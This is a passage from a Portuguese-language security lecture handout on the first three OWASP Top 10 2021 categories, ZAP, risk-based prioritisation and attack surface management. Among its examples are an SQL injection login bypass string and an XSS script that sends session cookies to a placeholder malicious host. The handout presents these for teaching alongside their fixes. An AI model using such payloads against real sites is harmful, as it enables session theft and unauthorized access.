
Aula 9 3 Análise de Aplicações Web - 
OWASP Top 10 (Parte 1)
No mundo digital de hoje, onde cada clique, cada transação e cada interação acontece através de aplicações web, 
a segurança desses sistemas não é apenas um detalhe técnico; é a espinha dorsal da confiança e da continuidade 
dos negócios. Imagine que você está construindo uma fortaleza digital para proteger os dados mais valiosos de 
uma empresa ou, talvez, as informações pessoais de milhões de usuários. Sem uma compreensão sólida das 
vulnerabilidades, essa fortaleza pode ter portas abertas e muros frágeis, convidando invasores a entrar.

Esta aula é o seu guia para entender as ameaças mais críticas que assolam as aplicações web, conforme mapeado 
pela Open Web Application Security Project (OWASP) em seu renomado Top 10. Não se trata apenas de memorizar 
uma lista, mas de compreender a lógica por trás de cada falha, como ela pode ser explorada e, mais importante, 
como podemos construir sistemas mais resilientes. Ao final desta jornada, você estará apto a identificar, analisar e 
propor soluções para as vulnerabilidades mais comuns, transformando-se em um guardião mais eficaz no cenário 
da cibersegurança.

Nosso percurso começará com uma introdução ao OWASP Top 10 2021, desvendando sua importância e 
metodologia. Em seguida, mergulharemos nas três primeiras categorias críticas: Quebra de Controle de Acesso 
(A01), Falhas Criptográficas (A02) e Injeção (A03), que inclui SQL Injection e Cross-Site Scripting. Exploraremos 
também como ferramentas como o OWASP ZAP podem auxiliar nessa análise e, por fim, integraremos conceitos 
modernos como a Gestão da Superfície de Ataque e a Abordagem Baseada em Risco para uma visão holística da 
segurança. Prepare-se para fortalecer sua compreensão sobre a segurança de aplicações web.



O Cenário das Aplicações Web e a 
Necessidade do OWASP Top 10

Pense na internet como uma vasta cidade global, e as aplicações web são os edifícios que a 
compõem: lojas, bancos, escritórios, hospitais. Cada um desses edifícios foi construído com 
um propósito, mas nem todos são igualmente seguros. Alguns podem ter portas 
destrancadas, janelas abertas ou até mesmo fundações comprometidas. No ambiente 
digital, essas falhas representam vulnerabilidades que podem ser exploradas por 
criminosos cibernéticos, resultando em roubo de dados, interrupção de serviços ou danos à 
reputação.

Complexidade Crescente
Aplicações modernas possuem 
múltiplas camadas de código, 
integrações e dependências que 
aumentam a superfície de 
ataque.

Pressão de Prazos
Desenvolvedores sob pressão 
podem inadvertidamente 
introduzir falhas de segurança 
no código.

Necessidade de Guia
Um mapa das ameaças mais 
comuns permite focar esforços 
onde realmente importa.

É aqui que o OWASP Top 10 entra em cena. Ele não é uma lista exaustiva de todas as vulnerabilidades existentes, 
mas sim um consenso global das dez falhas de segurança mais críticas e prevalentes em aplicações web. Pense 
nele como um boletim meteorológico que alerta sobre as tempestades mais perigosas que se aproximam, 
permitindo que você se prepare adequadamente. Ao entender e mitigar essas ameaças principais, você eleva 
significativamente o nível de segurança de qualquer aplicação.



Introdução ao OWASP Top 10 2021: O Guia 
Essencial
O OWASP Top 10 é mais do que uma simples lista; é um projeto comunitário, mantido por 
especialistas em segurança de todo o mundo, que analisa dados de milhões de 
vulnerabilidades para identificar os riscos mais significativos. A cada poucos anos, essa 
lista é atualizada para refletir a evolução das ameaças e das tecnologias. A versão de 2021, 
por exemplo, trouxe mudanças importantes, reorganizando e adicionando novas categorias 
que refletem o cenário atual da cibersegurança.

Importância Transcendente: A lista serve como ponto de partida para educação em segurança, padrão 
para avaliações de risco e diretriz para desenvolvimento seguro.

A importância dessa lista transcende o ambiente técnico. Ela serve como um ponto de partida para a educação em 
segurança, um padrão para avaliações de risco e uma diretriz para o desenvolvimento seguro. Para estudantes 
universitários, compreender o OWASP Top 10 é fundamental para construir uma base sólida em segurança de 
aplicações. Para profissionais que buscam certificações ou concursos, é um conhecimento mandatório, 
frequentemente cobrado em exames e avaliações.

Ao longo desta aula e da próxima, desvendaremos cada item do OWASP Top 10 2021. Não se preocupe em 
memorizar cada detalhe agora; o objetivo é construir uma compreensão conceitual robusta. Imagine que estamos 
explorando um manual de "melhores práticas de segurança" para arquitetos de software, onde cada capítulo 
aborda um tipo específico de falha estrutural que pode comprometer todo o edifício digital.



Quebra de Controle de Acesso 3 O Porteiro 
Falho
Imagine um prédio com diferentes áreas: a recepção, escritórios comuns, salas de reunião e 
o cofre. Cada área tem um nível de acesso restrito, e apenas pessoas autorizadas com as 
credenciais corretas (cartão de acesso, chave) podem entrar. A Quebra de Controle de 
Acesso (Broken Access Control) é como ter um porteiro que não verifica as credenciais 
corretamente, ou pior, que permite que qualquer pessoa entre em qualquer sala, inclusive 
no cofre, sem a devida permissão.

No contexto das aplicações web, o controle de acesso é o mecanismo que garante que usuários autenticados 
(aqueles que provaram sua identidade) só possam acessar os recursos e funcionalidades para os quais têm 
permissão. Por exemplo, um usuário comum não deveria conseguir acessar a página de administração de um site, 
nem um usuário A deveria conseguir visualizar ou modificar os dados de um usuário B. Quando esses controles 
falham, ocorre uma quebra de controle de acesso.

Essa vulnerabilidade é extremamente comum e perigosa porque permite que atacantes assumam privilégios de 
outros usuários, executem funções administrativas, acessem dados sensíveis ou até mesmo modifiquem 
informações críticas. É como se um invasor pudesse simplesmente mudar o número da sala no seu cartão de 
acesso e entrar em qualquer lugar. A exploração geralmente envolve a manipulação de parâmetros na URL, 
cookies, tokens de sessão ou requisições HTTP para contornar as verificações de autorização.



Tipos Comuns de Quebra de Controle de 
Acesso
A Quebra de Controle de Acesso pode se manifestar de diversas formas, cada uma com suas particularidades, 
mas todas com o mesmo resultado: um usuário acessando algo que não deveria. Uma das formas mais conhecidas 
é a Insecure Direct Object Reference (IDOR), onde um atacante manipula um identificador de objeto (como um ID 
de usuário ou documento) na URL ou em um parâmetro para acessar o recurso de outro usuário. Por exemplo, 
mudar id=123 para id=124 e ver os dados de outra pessoa.

IDOR (Insecure Direct 
Object Reference)
Manipulação de identificadores 
de objetos na URL ou 
parâmetros para acessar 
recursos de outros usuários.

Exemplo: Alterar ?id=123 
para ?id=124

Acesso não autorizado a 
dados de terceiros

Falha na validação de 
propriedade

Elevação de Privilégios
Usuário com permissões 
básicas consegue realizar 
ações exclusivas de 
administradores.

Falhas na lógica de negócio

Verificação inadequada de 
permissões

Execução de funções 
administrativas

Bypass de Autenticação
Contornar mecanismos de 
autenticação para acessar 
recursos protegidos.

Manipulação de tokens de 
sessão

Exploração de falhas em 
cookies

Acesso direto a URLs 
protegidas

Mitigação Essencial

Para mitigar essas falhas, é crucial implementar uma política de "negação por padrão", ou seja, tudo é 
proibido a menos que explicitamente permitido. Além disso, todas as verificações de acesso devem ser 
realizadas no lado do servidor, pois o cliente (navegador) pode ser facilmente manipulado. Utilizar 
identificadores de sessão robustos e garantir que cada requisição seja verificada quanto à autorização 
do usuário são práticas essenciais para construir um controle de acesso eficaz.



Exemplo Prático: IDOR em um Sistema de 
Gerenciamento
O Cenário

Imagine um sistema de gerenciamento de documentos 
onde a URL para visualizar um documento é 
https://exemplo.com/documentos?id=DOC_001. Um 
usuário autenticado, digamos João, acessa essa URL e 
vê seu documento. Um atacante, Maria, percebe que 
se ela alterar o id para DOC_002, ela consegue 
visualizar um documento que não pertence a ela. Isso 
é um exemplo clássico de IDOR.

A Falha

A aplicação falhou em verificar se o usuário Maria 
tinha permissão para acessar o documento DOC_002 
após a autenticação. A solução seria, no lado do 
servidor, antes de exibir o documento, verificar se o 
DOC_002 está associado à conta de Maria. Se não 
estiver, a aplicação deveria negar o acesso e, 
idealmente, registrar a tentativa.

Solução: Implementar verificação de 
propriedade no servidor antes de retornar 
qualquer recurso ao usuário.

Conceito Âmbito/Aplicação Base/Origem Exemplo

Quebra de Controle de 
Acesso

Restrição de acesso a 
recursos e 
funcionalidades

Falha na lógica de 
autorização do lado do 
servidor

Usuário comum acessa 
painel de administrador; 
IDOR em URLs.

IDOR Manipulação de 
identificadores de 
objetos

Falha em validar 
propriedade do objeto

Alterar id=123 para 
id=124 para ver dados 
de outro usuário.

Elevação de Privilégios Ações de usuário com 
permissões 
inadequadas

Falha na verificação de 
permissões de função

Usuário básico executa 
função de exclusão de 
dados sensíveis.



Falhas Criptográficas 3 O Segredo Mal 
Guardado
No universo da segurança digital, a criptografia é como um cofre robusto que protege suas 
informações mais valiosas. Ela transforma dados legíveis (texto claro) em um formato 
ilegível (texto cifrado), garantindo que apenas pessoas autorizadas, com a chave correta, 
possam decifrá-los. Falhas Criptográficas (Cryptographic Failures) ocorrem quando esse 
cofre é mal projetado, mal implementado ou simplesmente não é usado onde deveria, 
deixando os segredos expostos.

Essa categoria foi renomeada na versão 2021 do OWASP Top 10 (anteriormente "Sensitive Data Exposure") para 
enfatizar a causa raiz do problema: a falha na proteção criptográfica. Não se trata apenas de ter dados sensíveis, 
mas de como esses dados são protegidos 3 ou não 3 em trânsito e em repouso. Pense em senhas, informações 
financeiras, dados de saúde ou qualquer outra informação que, se cair nas mãos erradas, pode causar um grande 
estrago.

As falhas criptográficas podem surgir de diversas maneiras: uso de algoritmos de criptografia fracos ou 
desatualizados, chaves de criptografia mal gerenciadas ou codificadas no código-fonte, ausência de criptografia 
para dados sensíveis em trânsito (como usar HTTP em vez de HTTPS) ou em repouso (dados em banco de dados 
sem criptografia), e até mesmo o uso incorreto de bibliotecas criptográficas. É como ter um cofre de última 
geração, mas deixar a chave debaixo do tapete.



Consequências e Prevenção de Falhas 
Criptográficas

Consequências Severas
Dados sensíveis interceptados, 
decifrados e utilizados para 
fraude, roubo de identidade ou 
extorsão.

Criptografia Obrigatória
Criptografe tudo o que é sensível 
em trânsito (TLS/HTTPS) e em 
repouso (banco de dados, 
arquivos).

Gerenciamento de Chaves
Chaves devem ser geradas de 
forma segura, armazenadas em 
locais protegidos e rotacionadas 
periodicamente.

Algoritmos Modernos Recomendados

AES-256: Para criptografia de dados em repouso

TLS 1.2/1.3: Para comunicação segura em trânsito

Argon2, bcrypt, scrypt: Para hashing de senhas 
com salt

RSA-2048+: Para criptografia assimétrica

Algoritmos Legados a Evitar

MD5: Vulnerável a colisões

SHA-1: Considerado inseguro

RC4: Criptografia fraca

DES/3DES: Chaves muito curtas

As consequências de falhas criptográficas são severas. Dados sensíveis podem ser interceptados, decifrados e 
utilizados para fraude, roubo de identidade ou extorsão. Um atacante pode, por exemplo, capturar o tráfego de 
rede não criptografado e obter credenciais de login, ou acessar um banco de dados sem criptografia e roubar 
milhões de registros de clientes. A reputação da organização é gravemente comprometida, e as multas por não 
conformidade com regulamentações de privacidade (como LGPD ou GDPR) podem ser altíssimas.

Regra de Ouro: Nunca armazene chaves diretamente no código-fonte ou em repositórios públicos. Use 
serviços de gerenciamento de chaves (HSMs, KMS) e sempre implemente salt em hashes de senhas.



Exemplo Prático: Senhas Armazenadas 
Inadequadamente

O Problema

Considere uma aplicação web que armazena as 
senhas dos usuários diretamente em texto claro 
no banco de dados, ou pior, utilizando um 
algoritmo de hash fraco como MD5 sem "salt". 
Se um atacante conseguir acesso ao banco de 
dados (por exemplo, via SQL Injection, que 
veremos a seguir), todas as senhas estarão 
expostas. No caso do MD5, ele poderia usar 
tabelas de "rainbow tables" para reverter os 
hashes para as senhas originais em questão de 
segundos.

// Exemplo de hash seguro com bcrypt
const bcrypt = require('bcrypt');
const saltRounds = 10;
const senha = 'minhasenha123';

bcrypt.hash(senha, saltRounds, function(err, hash) {
  // Armazena 'hash' no banco de dados
});

A Solução Correta

A solução correta seria usar um algoritmo de 
hash moderno e seguro, como bcrypt, que 
adiciona um "salt" aleatório a cada senha antes 
de fazer o hash e é projetado para ser lento, 
dificultando ataques de força bruta. Assim, 
mesmo que o banco de dados seja 
comprometido, as senhas permanecem 
protegidas, pois o atacante teria que quebrar 
cada hash individualmente, um processo 
computacionalmente inviável para um grande 
número de senhas.

Conceito Âmbito/Aplicação Base/Origem Exemplo

Falhas Criptográficas Proteção de dados 
sensíveis em trânsito e 
repouso

Uso inadequado ou 
ausência de criptografia

Senhas em texto claro; 
uso de HTTP em vez de 
HTTPS; chaves fracas.

Criptografia em Trânsito Comunicação entre 
cliente e servidor

Protocolos seguros 
como TLS/HTTPS

Navegação segura em 
sites bancários; APIs 
protegidas.

Criptografia em 
Repouso

Dados armazenados em 
bancos de 
dados/arquivos

Criptografia de disco, 
de coluna, de arquivo

Banco de dados de 
clientes criptografado; 
backups protegidos.



Injeção 3 O Invasor Silencioso
A categoria A03: Injeção (Injection) é uma das mais antigas, persistentes e perigosas do 
OWASP Top 10. Ela ocorre quando dados não confiáveis são enviados a um interpretador 
como parte de um comando ou consulta. Em vez de tratar esses dados como meros 
valores, o interpretador os executa como parte do código, permitindo que um atacante 
manipule a lógica da aplicação, acesse dados não autorizados ou até mesmo execute 
comandos no sistema operacional subjacente.

Pense em um formulário de busca em um site. Você digita o nome de um produto e a aplicação busca no banco de 
dados. Agora, imagine que, em vez do nome do produto, um atacante digite um pedaço de código SQL malicioso. 
Se a aplicação não "limpar" ou "escapar" essa entrada adequadamente, o banco de dados pode interpretar o 
código do atacante como parte da consulta original, executando-o. É como dar uma instrução a um robô, e ele, em 
vez de apenas seguir a instrução, interpreta parte dela como um comando para se autodestruir.

As vulnerabilidades de injeção são amplas e podem afetar diversos tipos de interpretadores, incluindo SQL (SQL 
Injection), comandos do sistema operacional (OS Command Injection), LDAP, XPath e, notavelmente, Cross-Site 
Scripting (XSS), que injeta scripts no navegador do usuário. A chave para entender a injeção é a confiança 
indevida na entrada do usuário e a falha em diferenciar dados de código.



SQL Injection (SQLi): Manipulando o Banco 
de Dados
SQL Injection (SQLi) é o tipo de injeção mais conhecido e frequentemente explorado. Ele 
permite que um atacante execute comandos SQL arbitrários no banco de dados da 
aplicação. As consequências podem ser devastadoras: roubo de dados sensíveis (senhas, 
informações de cartão de crédito), modificação ou exclusão de dados, e até mesmo a 
obtenção de controle total sobre o servidor de banco de dados.

01

Entrada Maliciosa
Atacante insere código SQL em campo de entrada (ex: 
login, busca)

02

Concatenação Insegura
Aplicação concatena entrada diretamente na consulta 
SQL

03

Execução no Banco
Banco de dados interpreta e executa o código malicioso

04

Comprometimento
Dados roubados, modificados ou sistema comprometido

-- Consulta vulnerável
SELECT * FROM usuarios 
WHERE username = '[entrada]' 
AND password = '[senha]'

-- Entrada maliciosa: ' OR '1'='1
-- Consulta resultante:
SELECT * FROM usuarios 
WHERE username = '' OR '1'='1' 
AND password = '...'

-- Resultado: Login sem credenciais!

Exemplo de Ataque Clássico

-- Prepared Statement (seguro)
PreparedStatement stmt = 
  conn.prepareStatement(
    "SELECT * FROM usuarios 
     WHERE username = ? 
     AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

Prevenção com Consultas Parametrizadas

Solução: Use sempre consultas 
parametrizadas (prepared statements) para 
separar código SQL de dados.



Cross-Site Scripting (XSS): Injetando no 
Navegador do Usuário
Cross-Site Scripting (XSS) é outra forma comum de injeção, mas, em vez de atacar o servidor ou o banco de 
dados, ele ataca os usuários da aplicação. O XSS ocorre quando uma aplicação web permite que um atacante 
injete scripts maliciosos (geralmente JavaScript) no navegador de outros usuários. Esses scripts podem roubar 
cookies de sessão (permitindo o sequestro de sessão), redirecionar usuários para sites maliciosos, exibir conteúdo 
falso ou até mesmo realizar ações em nome do usuário.

XSS Refletido
O script malicioso é injetado na 
requisição HTTP e "refletido" de 
volta na resposta do servidor 
para o navegador do usuário. É 
geralmente entregue via links 
maliciosos.

Entregue via URL ou 
parâmetros

Não armazenado no servidor

Requer engenharia social

XSS Armazenado 
(Persistente)
O script malicioso é 
armazenado permanentemente 
no servidor (por exemplo, em 
um comentário de blog ou perfil 
de usuário) e é servido a 
qualquer usuário que acesse a 
página afetada. Este é o tipo 
mais perigoso.

Armazenado no banco de 
dados

Afeta todos os visitantes

Maior impacto e persistência

XSS Baseado em DOM
A vulnerabilidade reside no 
código JavaScript do lado do 
cliente, que manipula o DOM 
(Document Object Model) de 
forma insegura, sem que o 
servidor esteja diretamente 
envolvido na injeção.

Ocorre no lado do cliente

Manipulação insegura do 
DOM

Servidor não processa 
payload

Prevenção de XSS

A prevenção de XSS envolve principalmente a sanitização e escape de entrada de dados. Qualquer 
entrada de usuário que será exibida em uma página web deve ser tratada como não confiável e ter 
caracteres especiais (como <, >, &, ", ') escapados ou codificados para que não sejam interpretados 
como código HTML ou JavaScript. Além disso, a política de segurança de conteúdo (Content Security 
Policy - CSP) pode ser usada para restringir quais scripts podem ser executados em uma página.



Exemplo Prático: XSS Armazenado em um 
Fórum

<script>
alert('Você foi hackeado!');
</script>

O Cenário de Ataque

Imagine um fórum online onde os usuários podem 
postar mensagens. Um atacante posta uma mensagem 
que contém o seguinte código:

Se a aplicação não escapar corretamente essa entrada 
antes de armazená-la e exibi-la, qualquer usuário que 
visualizar essa postagem verá uma caixa de alerta 
pop-up.

<script>
document.location=
'http://site-malicioso.com/roubar-cookies?cookie='
+document.cookie;
</script>

Ataque Mais Sofisticado

Um ataque mais sofisticado poderia ser:

Este script roubaria os cookies de sessão do usuário e 
os enviaria para um site malicioso, permitindo que o 
atacante sequestrasse a sessão do usuário e 
assumisse sua identidade no fórum.

A Solução

A solução é garantir que, ao exibir o conteúdo da 
postagem, todos os caracteres HTML e JavaScript 
sejam escapados. Por exemplo:

< se torna &lt;

> se torna &gt;

& se torna &amp;

Dessa forma, o navegador interpretaria o código como 
texto simples, e não como um script a ser executado.

Conceito Âmbito/Aplicação Base/Origem Exemplo

Injeção Execução de código 
não autorizado

Entrada de dados não 
sanitizada/escapada

SQLi, XSS, OS 
Command Injection.

SQL Injection (SQLi) Manipulação de banco 
de dados

Concatenação direta de 
entrada em consultas 
SQL

Login sem senha; roubo 
de dados de tabelas.

Cross-Site Scripting 
(XSS)

Injeção de scripts no 
navegador do usuário

Exibição de entrada não 
escapada em HTML/JS

Roubo de cookies de 
sessão; 
redirecionamento para 
sites maliciosos.



Ferramentas DAST: O Scanner de 
Vulnerabilidades Dinâmico
Compreender as vulnerabilidades é o primeiro passo, mas como podemos encontrá-las em 
aplicações complexas e em constante evolução? É aqui que entram as ferramentas de Teste 
de Segurança de Aplicações Dinâmicas (DAST - Dynamic Application Security Testing). 
Diferente das ferramentas SAST (Static Application Security Testing), que analisam o 
código-fonte sem executá-lo, as ferramentas DAST interagem com a aplicação em 
execução, simulando ataques de usuários maliciosos para identificar vulnerabilidades.

Pense em um DAST como um "testador de invasão" automatizado. Ele navega pela aplicação web, envia 
requisições HTTP maliciosas, tenta injetar código e monitora as respostas para detectar comportamentos anormais 
que indicam uma vulnerabilidade. É como ter um time de especialistas em segurança que testa cada porta, janela e 
ponto de entrada do seu edifício digital, 24 horas por dia, 7 dias por semana.

Testes em Tempo de 
Execução
Identifica vulnerabilidades que 
só se manifestam quando a 
aplicação está rodando

Automação Contínua
Testa automaticamente a 
aplicação sem necessidade de 
acesso ao código-fonte

Visão Realista
Simula ataques reais como um 
invasor interagiria com a 
aplicação

As ferramentas DAST são cruciais para identificar vulnerabilidades que só se manifestam em tempo de execução, 
como falhas de configuração, problemas de controle de acesso e, claro, as vulnerabilidades de injeção que 
acabamos de discutir. Elas complementam as ferramentas SAST, oferecendo uma visão mais realística de como 
um atacante interagiria com a aplicação em um ambiente de produção ou pré-produção.



OWASP ZAP: Seu Aliado na Análise de 
Segurança

Entre as ferramentas DAST, o OWASP ZAP (Zed Attack Proxy) se destaca como uma das 
mais populares e poderosas, sendo de código aberto e amplamente utilizada por 
profissionais de segurança e desenvolvedores. O ZAP atua como um proxy entre o seu 
navegador e a aplicação web, interceptando e modificando o tráfego HTTP/HTTPS. Isso 
permite que você inspecione as requisições e respostas, e também que o ZAP realize 
ataques automatizados.

Proxy de Interceptação
Permite visualizar e modificar requisições e respostas 
em tempo real, dando controle total sobre o tráfego 
HTTP/HTTPS.

Scanner Ativo
Ataca automaticamente a aplicação com uma série de 
testes para encontrar vulnerabilidades como SQLi, XSS, 
e falhas de controle de acesso.

Scanner Passivo
Analisa o tráfego enquanto você navega manualmente 
pela aplicação, identificando potenciais problemas sem 
enviar requisições maliciosas.

Fuzzer
Envia entradas de dados inesperadas ou malformadas 
para testar a robustez da aplicação contra inputs 
anormais.

Spider/Crawler
Mapeia automaticamente a estrutura da aplicação, 
descobrindo URLs e funcionalidades ocultas.

Relatórios Detalhados
Gera relatórios completos com todas as 
vulnerabilidades encontradas, severidade e 
recomendações de correção.

Ferramenta Indispensável: Utilizar o OWASP ZAP é como ter um laboratório de testes de segurança 
completo na sua máquina. Ele é uma ferramenta indispensável para qualquer pessoa que queira 
aprofundar seus conhecimentos em análise de vulnerabilidades de aplicações web, seja para fins de 
estudo, desenvolvimento seguro ou preparação para concursos.



Integrando o ZAP no Ciclo de 
Desenvolvimento
A verdadeira força de ferramentas como o OWASP ZAP reside na sua capacidade de serem integradas ao ciclo de 
vida de desenvolvimento de software (SDLC). Em vez de esperar até o final do projeto para testar a segurança, o 
ZAP pode ser usado continuamente, desde as fases iniciais de desenvolvimento até a produção. Isso permite que 
as vulnerabilidades sejam identificadas e corrigidas mais cedo, onde o custo de correção é significativamente 
menor.

Desenvolvimento
Desenvolvedores testam suas próprias 
funcionalidades com ZAP antes de enviar código 
para revisão

Integração Contínua
ZAP automatizado roda testes de segurança em 
cada nova build da aplicação no pipeline CI/CD

Feedback Imediato
Equipe recebe alertas instantâneos sobre novas 
vulnerabilidades introduzidas no código

Correção Precoce
Vulnerabilidades corrigidas antes de chegarem à 
produção, reduzindo custos e riscos

Security by Design

Essa abordagem proativa, conhecida como "Security 
by Design", garante que a segurança seja considerada 
desde o início do projeto, não como uma reflexão 
tardia. É muito mais barato e eficiente corrigir uma 
vulnerabilidade durante o desenvolvimento do que 
após um incidente de segurança em produção.

Shift Left Security

O conceito de "Shift Left Security" move os testes de 
segurança para as fases iniciais do SDLC, permitindo 
que desenvolvedores se tornem os primeiros 
defensores da segurança. O ZAP facilita essa 
transição ao ser acessível e fácil de usar.

Ao familiarizar-se com o OWASP ZAP, você não apenas aprende a identificar vulnerabilidades, mas também a 
pensar como um atacante, o que é uma habilidade inestimável em cibersegurança. Ele é uma ponte entre o 
conhecimento teórico das vulnerabilidades do OWASP Top 10 e a aplicação prática na análise de segurança de 
aplicações web.



Abordagem Baseada em Risco: Priorizando 
o que Realmente Importa
No mundo da cibersegurança, não é possível corrigir todas as vulnerabilidades de uma vez. 
Os recursos são limitados, e a lista de problemas pode ser esmagadora. É aqui que a 
Abordagem Baseada em Risco (Risk-Based Vulnerability Management) se torna essencial. 
Em vez de focar apenas na severidade técnica de uma vulnerabilidade (como a pontuação 
CVSS 3 Common Vulnerability Scoring System), essa abordagem prioriza as 
vulnerabilidades com base no seu impacto real no negócio, na criticidade dos ativos 
afetados e na probabilidade de exploração.

Pense em um hospital. Uma vulnerabilidade em um sistema de agendamento de consultas pode ter uma pontuação 
CVSS alta, mas uma falha em um sistema de suporte à vida tem um impacto muito maior na vida dos pacientes e 
na reputação do hospital. A abordagem baseada em risco nos ajuda a diferenciar esses cenários, direcionando 
nossos esforços para proteger o que é mais valioso e mais provável de ser atacado.

Essa metodologia é um pilar da gestão de segurança moderna, especialmente relevante para estudantes e 
profissionais que precisam tomar decisões estratégicas. Ela move o foco de uma simples lista de "bugs" para uma 
compreensão holística do risco, permitindo uma alocação mais inteligente de recursos e uma comunicação mais 
eficaz com a liderança da organização sobre os verdadeiros perigos.



Integrando Inteligência de Ameaças na 
Priorização
Um componente chave da abordagem baseada em risco é a Inteligência de Ameaças (Threat Intelligence). Não 
basta saber que uma vulnerabilidade existe; é preciso saber se ela está sendo ativamente explorada por atacantes, 
se existem exploits públicos disponíveis e quem são os grupos de ameaça que poderiam se beneficiar dela. A 
inteligência de ameaças fornece o contexto necessário para transformar dados brutos de vulnerabilidades em 
informações acionáveis.

Contexto é Fundamental

Por exemplo, uma vulnerabilidade com CVSS médio 
pode ser elevada a alta prioridade se a inteligência de 
ameaças indicar que ela está sendo ativamente 
explorada por um grupo de ransomware que visa o 
setor da sua empresa. Da mesma forma, uma 
vulnerabilidade com CVSS alto, mas sem exploits 
conhecidos ou interesse de atacantes, pode ter sua 
prioridade reduzida temporariamente.

Fatores de Priorização

Pontuação CVSS

Severidade técnica da vulnerabilidade

Impacto no Negócio

Consequências para operações e reputação

Criticidade do Ativo

Importância do sistema afetado

Exploração Ativa

Ameaças reais no ambiente atual

Gestão Dinâmica: Essa integração permite uma gestão de vulnerabilidades mais dinâmica e adaptativa. É 
como ter um sistema de alerta precoce que não apenas detecta o incêndio, mas também informa se há 
vento forte na direção de áreas críticas, se há materiais inflamáveis por perto e se os bombeiros estão 
disponíveis. Para os candidatos a concursos, entender essa nuance é crucial, pois as bancas valorizam a 
capacidade de pensar estrategicamente sobre segurança.



O Ciclo da Gestão de Vulnerabilidades 
Baseada em Risco
A gestão de vulnerabilidades baseada em risco segue um ciclo contínuo que garante que os esforços de 
segurança sejam sempre alinhados com os objetivos e riscos do negócio, otimizando a proteção e o uso de 
recursos. Em um ambiente onde as ameaças evoluem constantemente, a capacidade de priorizar de forma 
inteligente é tão importante quanto a capacidade de identificar as vulnerabilidades.

Identificação
Descobrir vulnerabilidades usando 
DAST, SAST, testes de penetração 

e scanners automatizados

Avaliação
Analisar o risco de cada 
vulnerabilidade, considerando 
CVSS, impacto no negócio, 
criticidade do ativo e inteligência 
de ameaças

Priorização
Ordenar as vulnerabilidades com 
base no risco avaliado, focando 
nos maiores perigos primeiro

Remediação
Corrigir as vulnerabilidades de 
acordo com a prioridade 
estabelecida, aplicando patches e 
controles

Verificação
Confirmar que as correções foram 
eficazes e que as vulnerabilidades 

foram realmente eliminadas

Monitoramento
Manter-se atualizado sobre 

novas vulnerabilidades e 
ameaças, reiniciando o ciclo 

continuamente



Gestão da Superfície de Ataque (ASM): 
Conheça Seu Território
A Gestão da Superfície de Ataque (Attack Surface Management - ASM) é um conceito que 
se tornou cada vez mais vital com a crescente complexidade e distribuição das 
infraestruturas de TI. Em termos simples, a superfície de ataque de uma organização é a 
soma de todos os pontos onde um atacante pode tentar entrar ou extrair dados. Isso inclui 
servidores web, APIs, aplicações móveis, dispositivos IoT, serviços em nuvem, domínios e 
subdomínios, e até mesmo ativos de TI "sombra" (shadow IT) que a organização pode não 
estar ciente.

Pense na sua casa. A superfície de ataque seriam todas as portas, janelas, chaminés, entradas de ar e até mesmo 
a caixa de correio. Se você não souber onde estão todas essas entradas, como pode protegê-las? No mundo 
digital, a superfície de ataque é muito mais vasta e dinâmica, mudando constantemente com a implantação de 
novos serviços, a migração para a nuvem e a aquisição de novas tecnologias.

Servidores Web
Aplicações e sites públicos

APIs
Interfaces de programação 
expostas

Dispositivos IoT
Sensores e equipamentos 
conectados

Serviços em Nuvem
Infraestrutura e plataformas cloud

Shadow IT
Ativos não gerenciados oficialmente

A ASM aborda a importância de mapear continuamente todos os ativos de uma organização, tanto internos quanto 
externos, na nuvem e on-premises. O objetivo é ter uma visão completa e atualizada de todos os pontos de 
entrada potenciais que um atacante poderia explorar. Sem esse mapeamento, é impossível proteger efetivamente o 
que você não sabe que existe.



Desafios e Benefícios da ASM
Um dos maiores desafios da ASM é a natureza elástica e distribuída das infraestruturas modernas. Com a adoção 
massiva da nuvem e de microsserviços, a superfície de ataque pode se expandir e contrair rapidamente, tornando 
o mapeamento manual inviável. É por isso que as soluções de ASM utilizam automação, inteligência artificial e 
técnicas de descoberta contínua para identificar novos ativos e monitorar os existentes.

Desafios Principais

Infraestrutura Dinâmica

Ativos que aparecem e desaparecem 
rapidamente em ambientes cloud

Shadow IT

Serviços implementados sem conhecimento da 
equipe de segurança

Ativos Esquecidos

Subdomínios e servidores antigos ainda ativos e 
vulneráveis

Escala Massiva

Milhares de endpoints para monitorar 
continuamente

Benefícios Estratégicos

Visibilidade Aprimorada

Conhecer todos os ativos expostos, incluindo 
aqueles desconhecidos ou esquecidos

Redução de Riscos

Identificar e priorizar a proteção de pontos de 
entrada críticos

Conformidade

Atender a requisitos regulatórios que exigem um 
inventário completo de ativos

Resposta a Incidentes

Ter um mapa claro da infraestrutura para 
investigar e conter ataques mais rapidamente

Ao combinar a ASM com a Abordagem Baseada em Risco, as organizações podem não apenas identificar todos os 
seus ativos, mas também entender quais deles representam o maior risco e, portanto, merecem a maior atenção 
em termos de segurança. É uma estratégia proativa que move a segurança de uma postura reativa para uma 
postura de antecipação e prevenção.



ASM na Prática: Descobrindo Ativos Ocultos
Na prática, a ASM envolve o uso de ferramentas que escaneiam a internet, registram domínios, analisam 
certificados SSL, e até mesmo monitoram repositórios de código para descobrir ativos digitais que pertencem à 
organização. Por exemplo, uma empresa pode ter um subdomínio antigo que foi esquecido, mas que ainda está 
ativo e rodando uma versão desatualizada de um software com vulnerabilidades conhecidas. Sem ASM, esse 
subdomínio seria um "ponto cego" perfeito para um atacante.

01

Descoberta Automática
Ferramentas escaneiam a internet 
buscando ativos relacionados à 
organização (domínios, IPs, 
certificados)

02

Inventário Completo
Todos os ativos descobertos são 
catalogados e classificados por tipo 
e criticidade

03

Análise de Vulnerabilidades
Cada ativo é avaliado quanto a 
vulnerabilidades conhecidas e 
configurações inseguras

04

Priorização e Remediação
Ativos de alto risco são priorizados para correção 
imediata

05

Monitoramento Contínuo
Processo se repete continuamente para detectar novos 
ativos e mudanças

Cenário: Subdomínio Esquecido

Uma empresa migrou seu site principal para uma nova 
infraestrutura, mas esqueceu de desativar o 
subdomínio old.empresa.com que ainda roda uma 
versão antiga do WordPress com vulnerabilidades 
críticas. Um atacante descobre esse subdomínio 
através de ferramentas de reconhecimento e o explora 
para ganhar acesso à rede interna.

Cenário: Shadow IT

Outro cenário comum é a "shadow IT", onde 
departamentos ou indivíduos implementam soluções 
de software ou serviços em nuvem sem o 
conhecimento ou aprovação da equipe de 
TI/segurança. Esses ativos não gerenciados podem 
introduzir grandes riscos. A ASM ajuda a trazer esses 
ativos à luz, permitindo que a equipe de segurança os 
avalie e os incorpore ao seu programa de gestão de 
vulnerabilidades.

Visão Moderna: Para estudantes e 
